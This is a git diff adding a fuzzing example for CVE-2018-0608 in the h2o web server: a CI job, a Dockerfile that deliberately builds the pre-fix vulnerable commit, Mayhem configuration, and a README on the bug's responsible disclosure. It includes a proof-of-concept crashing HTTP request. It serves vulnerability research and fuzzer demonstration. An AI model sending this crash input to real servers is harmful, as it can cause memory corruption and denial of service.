diff --git a/.github/workflows/docker_publish.yml b/.github/workflows/docker_publish.yml index 8b2d95d..29f2ead 100644 --- a/.github/workflows/docker_publish.yml +++ b/.github/workflows/docker_publish.yml @@ -1,4 +1,4 @@ -name: Published on Dockerhub +name: Publish on Dockerhub on: push: @@ -7,10 +7,8 @@ on: branches: [ master ] jobs: - openssl-cve-2014-0160: runs-on: ubuntu-latest - steps: - uses: actions/checkout@v2 - name: Build the Docker image @@ -35,3 +33,16 @@ jobs: - name: Push the docker image run: ./.github/push.sh forallsecure/cereal-cve-2020-11104-11105 "${{ github.ref }}" + + h2o-cve-2018-0608: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v2 + - name: Build the Docker image + run: ./mayhemit.sh --build h2o-cve-2018-0608 + + - name: Log into the registry + run: echo "${{ secrets.DOCKER_PASSWORD }}" | docker login -u ${{ secrets.DOCKER_USERNAME }} --password-stdin + + - name: Push the docker image + run: ./.github/push.sh forallsecure/h2o-cve-2018-0608 "${{ github.ref }}" diff --git a/h2o-cve-2018-0608/Dockerfile b/h2o-cve-2018-0608/Dockerfile new file mode 100644 index 0000000..80b9f9c --- /dev/null +++ b/h2o-cve-2018-0608/Dockerfile @@ -0,0 +1,23 @@ +FROM ubuntu:20.10 AS base + +RUN apt-get update && \ + apt-get install -y libssl-dev zlib1g-dev + +FROM base AS builder + +RUN export DEBIAN_FRONTEND="noninteractive" && \ + apt-get update && \ + apt-get install -y cmake build-essential git + +WORKDIR /h2o +RUN git clone https://github.com/h2o/h2o . && \ + git checkout 69506c9e2defa4922f62f389c76d89e9274b3cc1 && \ + git checkout HEAD^ + +RUN mkdir build && cd build && cmake .. && make + +FROM base + +WORKDIR /fuzz +COPY --from=builder /h2o/build/h2o . +COPY h2o.conf . diff --git a/h2o-cve-2018-0608/README.md b/h2o-cve-2018-0608/README.md new file mode 100644 index 0000000..05c75a6 --- /dev/null +++ b/h2o-cve-2018-0608/README.md @@ -0,0 +1,47 @@ +# h2o memory corruption CVE example + +This repo replicates finding [CVE-2018-0608](https://nvd.nist.gov/vuln/detail/CVE-2018-0608), a memory corruption bug that may allow a remote attacker to run arbitrary code ([CVSS Score](https://nvd.nist.gov/vuln-metrics/cvss): 9.8). + +We reported this bug responsibly to the maintainers, with the follow-on issue tracking [here](https://github.com/h2o/h2o/issues/1775). + +> Note: since this finds the bug in an unmodified h2o binary +> (a *network target*), it can only be found by fuzzers that support network +> fuzzing (such as Mayhem). + +## To build + +Assuming you just want to build the docker image, run from the project +directory (`h2o-cve-2018-0608`): + +```bash +docker build -t forallsecure/h2o-cve-2018-0608 . +``` + +## Get from Dockerhub + +If you don't want to build locally, you can pull a pre-built image +directly from dockerhub: + +```bash +docker pull forallsecure/h2o-cve-2018-0608 +``` + + +## Run under Mayhem + +From the project directory (`h2o-cve-2018-0608`) run: + +```bash +mayhem run mayhem/h2o +``` + +## POC + +We have included a proof of concept output under the `poc` +directory. + +> Note: Fuzzing has some degree of non-determinism, so when you run +yourself you may not get exactly this file. This is expected; your +output should still trigger the memory corruption bug. + +This bug was originally found and [responsibly disclosed](https://github.com/h2o/h2o/issues/1775) by ForAllSecure employee [Marlies Ruck](https://blog.forallsecure.com/author/marlies-ruck). As such, this bug has since been [fixed](https://github.com/h2o/h2o/commit/69506c9e2defa4922f62f389c76d89e9274b3cc1) by project maintainers. diff --git a/h2o-cve-2018-0608/h2o.conf b/h2o-cve-2018-0608/h2o.conf new file mode 100644 index 0000000..337bae4 --- /dev/null +++ b/h2o-cve-2018-0608/h2o.conf @@ -0,0 +1,30 @@ +# to find out the configuration commands, run: h2o --help + +listen: 8080 +num-threads: 4 +#listen: +# port: 8081 +# ssl: +# certificate-file: examples/h2o/server.crt +# key-file: examples/h2o/server.key +# minimum-version: TLSv1.2 +# cipher-preference: server +# cipher-suite: "ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256" +# # Oldest compatible clients: Firefox 27, Chrome 30, IE 11 on Windows 7, Edge, Opera 17, Safari 9, Android 5.0, and Java 8 +# # see: https://wiki.mozilla.org/Security/Server_Side_TLS +hosts: + "127.0.0.1.xip.io:8080": + paths: + /: + file.dir: examples/doc_root + access-log: /dev/stdout +# "alternate.127.0.0.1.xip.io:8081": +# listen: +# port: 8081 +# ssl: +# certificate-file: examples/h2o/alternate.crt +# key-file: examples/h2o/alternate.key +# paths: +# /: +# file.dir: examples/doc_root.alternate +# access-log: /dev/stdout diff --git a/h2o-cve-2018-0608/mayhem/h2o/Mayhemfile b/h2o-cve-2018-0608/mayhem/h2o/Mayhemfile new file mode 100644 index 0000000..9eaccbe --- /dev/null +++ b/h2o-cve-2018-0608/mayhem/h2o/Mayhemfile @@ -0,0 +1,11 @@ +version: '1.4' +project: h2o-cve-2018-0608 +target: h2o +baseimage: forallsecure/h2o-cve-2018-0608 +cmds: +- cmd: /fuzz/h2o -c /fuzz/h2o.conf + network: + is_client: false + timeout: 2.0 + url: tcp://localhost:8080 + timeout: 15 diff --git a/h2o-cve-2018-0608/mayhem/h2o/corpus/39086fd5db5386ffd2407b39cec230c9aa477faa3fd6090bdf3ace71a399ff5b b/h2o-cve-2018-0608/mayhem/h2o/corpus/39086fd5db5386ffd2407b39cec230c9aa477faa3fd6090bdf3ace71a399ff5b new file mode 100644 index 0000000..75373a9 --- /dev/null +++ b/h2o-cve-2018-0608/mayhem/h2o/corpus/39086fd5db5386ffd2407b39cec230c9aa477faa3fd6090bdf3ace71a399ff5b @@ -0,0 +1,5 @@ +GET / HTTP/1.1 +User-Agent: curl/7.35.0 +Host: localhost:8080 +Accept: */* + diff --git a/h2o-cve-2018-0608/mayhem/h2o/poc/crashing-input b/h2o-cve-2018-0608/mayhem/h2o/poc/crashing-input new file mode 100644 index 0000000..9c643fe --- /dev/null +++ b/h2o-cve-2018-0608/mayhem/h2o/poc/crashing-input @@ -0,0 +1,11 @@ +GET /pages"222222222222222es HTTP/1.1 + +Upgrade: host-pagUUUUUUUUUUUUUUUU8UU2222222222222es HTTP/1.1 + +Upgrade: host-pagUUUUUUUUUUUUUUUU8UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU9TT6/ HTTP/1.1 +User-Agent: curl/L.5.1 + +dpgrade: hostUUUUUUUUUUUIUUUUUUUUUUUgUUUUUUUUUUUUUUUU8UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU9TT6/ HTTP/1.1 +User-Agent: cur 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